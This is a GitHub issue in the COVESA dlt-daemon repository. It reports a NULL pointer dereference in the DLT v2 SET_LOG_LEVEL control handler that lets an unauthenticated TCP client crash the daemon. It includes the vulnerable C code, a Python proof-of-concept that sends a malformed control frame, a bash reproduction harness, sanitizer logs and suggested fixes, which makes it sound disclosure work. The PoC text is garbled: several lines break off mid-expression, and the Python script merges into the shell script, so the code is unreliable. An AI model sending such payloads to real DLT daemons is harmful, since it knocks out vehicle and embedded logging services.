COVESA / COVESA/dlt-daemon

[REPORT] NULL Pointer Dereference via apidlen/ctidlen Handling in SET_LOG_LEVEL V2 (`src/daemon/dlt_daemon_client.c`)

Open
#825 0 comments 0 reactions 0 assignees View on GitHub
bug
Dominant language
C
Stars
459
Forks
340
Avg merge
4d 21h
Merged PRs (30d)
2

Description

### Summary
In DLT v2 runtime mode (`-x 2`), `dlt-daemon` control handler `dlt_daemon_control_set_log_level_v2()` dereferences pointers that can remain `NULL` when processing length fields.
The null-dereference path is reachable when `apidlen > 0` or `ctidlen > 0` with corresponding local pointer misuse.

This is not limited to raw malformed packets; it is also reachable through normal v2 control-flow usage because the vulnerable handler logic itself is incorrect.

In local reproduction, UBSan reported `runtime error: load of null pointer of type 'char'` at `dlt_daemon_client.c:3703`, and the daemon crashed (DoS).

### Details
Affected component:
- package: `dlt-daemon`
- component: control message processing (`SET_LOG_LEVEL` v2)
- files:
- `src/daemon/dlt_daemon_client.c`
- `src/shared/dlt_common.c`
- tested daemon runtime mode: `-x 2` (DLT v2)
- default daemon runtime mode without `-x`: DLT v1
- tested repository revision: `c45bdbe8c45b708955520d63dede1df3c8b5afb7`
- validation date for tested revision: `2026-03-05`

Root cause:
1. Local pointers are initialized as `NULL` (`char *apid = NULL; char *ctid = NULL;`).
2. `dlt_set_id_v2(apid, ...)` is called with `apid == NULL`; helper returns early and pointer remains `NULL`.
3. Logic dereferences `apid[apid_length - 1]` when `apid_length != 0` and `ctid == NULL`.

### Attack Preconditions
1. Target daemon is running in DLT v2 mode (`-x 2`).
2. The attacker can send TCP control messages to the daemon endpoint (default test setup: `127.0.0.1:3490`).
3. Network path/firewall policy permits access to that endpoint.
4. No effective authentication/filtering blocks unauthenticated control payloads before this handler.
5. If the TCP listener is exposed beyond localhost, remote network attackers can trigger DoS.

### Vulnerable Code (Exact Code Snippet)
Path: `src/daemon/dlt_daemon_client.c:3660`

```cpp
void dlt_daemon_control_set_log_level_v2(int sock,
DltDaemon *daemon,
DltDaemonLocal *daemon_local,
DltMessageV2 *msg,
int verbose)
{
...
char *apid =NULL;
char *ctid =NULL;
...
apid_length = (int8_t) req.apidlen;
dlt_set_id_v2(apid, req.apid, req.apidlen);
ctid_length = (int8_t) req.ctidlen;
dlt_set_id_v2(ctid, req.ctid, req.ctidlen);

if ((apid_length != 0) && (apid[apid_length - 1] == '*') && (ctid == NULL)) { /*apid provided having '*' in it and ctid is null*/
...
}
...
}
```

Reference helper behavior:
Path: `src/shared/dlt_common.c:414`

```cpp
void dlt_set_id_v2(char *id, const char *text, uint8_t len)
{
/* check nullpointer */
if ((id == NULL) || (text == NULL) || (len == 0))
return;
...
}
```

### Full PoC Code
```python
#!/usr/bin/env python3
import os
import socket
import struct
import time

HOST = os.environ.get("DLT_HOST", "127.0.0.1")
PORT = int(os.environ.get("DLT_PORT", "3490"))

DLT_SERVICE_ID_SET_LOG_LEVEL = 0x01
DLT_MSIN_CONTROL_REQUEST = 0x16
HTYP2 = 0x40 | 0x02 | 0x04 | 0x08 # protocol v2 + control + WEID + WACID

def build_control_frame(payload: bytes, apid: bytes = b"APP", ctid: bytes = b"CON", ecid: bytes = b"ECU1") -> bytes:
ext = bytes([len(ecid)]) + ecid + bytes([len(apid)]) + apid + bytes([len(ctid)]) + ctid
extra = bytes([DLT_MSIN_CONTROL_REQUEST, 1])
total_len = 7 + len(extra) + len(ext) + len(payload)
base = struct.pack(" int:
# PoC payload for set_log_level_v2:
# apidlen=1 but daemon keeps local apid pointer NULL, then dereferences apid[0].
# Note: crash condition is rooted in handler logic and is reachable in normal v2 control paths.
payload = struct.pack(" "$daemon_log"
: > "$poc_log"
rm -f /ipc/dlt /ipc/dlt-ctrl.sock /tmp/dlt-ctrl.sock
/opt/lab/run-daemon.sh >"$daemon_log" 2>&1 &
pid=$!
ready=0
for i in $(seq 1 120); do
if ! kill -0 "$pid" 2>/dev/null; then break; fi
if [[ -S /ipc/dlt ]] && nc -z 127.0.0.1 3490 >/dev/null 2>&1; then
ready=1
break
fi
sleep 0.1
done
if [[ "$ready" -ne 1 ]]; then
kill -TERM "$pid" 2>/dev/null || true
wait "$pid" 2>/dev/null || true
exit 2
fi
python3 /opt/lab/pocs/poc_set_log_level_null_deref_v2.py >"$poc_log" 2>&1 || true
sleep 1
kill -TERM "$pid" 2>/dev/null || true
wait "$pid" 2>/dev/null || true
'
```

3. Confirm null-dereference signature.

```bash
grep -E "runtime error: load of null pointer|dlt_daemon_control_set_log_level_v2" \
artifacts/V2.single.daemon.log
```

### Trigger Success Evidence (Logs)
PoC send log:
Path: `artifacts/V2.single.poc.log`

```text
[*] Sent malformed SET_LOG_LEVEL_V2 (34 bytes) to 127.0.0.1:3490
```

Runtime evidence:
Path: `artifacts/V2.single.daemon.log`

```text
/src/src/daemon/dlt_daemon_client.c:3703:36: runtime error: load of null pointer of type 'char'
#0 ... in dlt_daemon_control_set_log_level_v2 /src/src/daemon/dlt_daemon_client.c:3703
```

### Impact
- Vulnerability class: null pointer dereference.
- Practical impact: unauthenticated daemon crash (DoS) via control channel when DLT v2 mode is enabled.
- Scope note: deployments left on default DLT v1 mode are not on this v2-specific path.

### Suggested Fix
1. Replace `char *apid = NULL; char *ctid = NULL;` with fixed local buffers (or allocated buffers) before calling `dlt_set_id_v2()`.
2. Validate `apidlen/ctidlen` and guard all dereferences (`apid != NULL`, `ctid != NULL`) before index access.
3. Do not use `apid == NULL` / `ctid == NULL` as semantic checks for "ID omitted"; use length-based checks (`apidlen == 0`, `ctidlen == 0`) after safe copying.
4. Add unit/regression tests for both malformed packets and regular `dlt_client_send_log_level_v2()` API-driven requests.

### Attachment
[security-lab_v2.zip](https://github.com/user-attachments/files/25824793/security-lab_v2.zip)

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.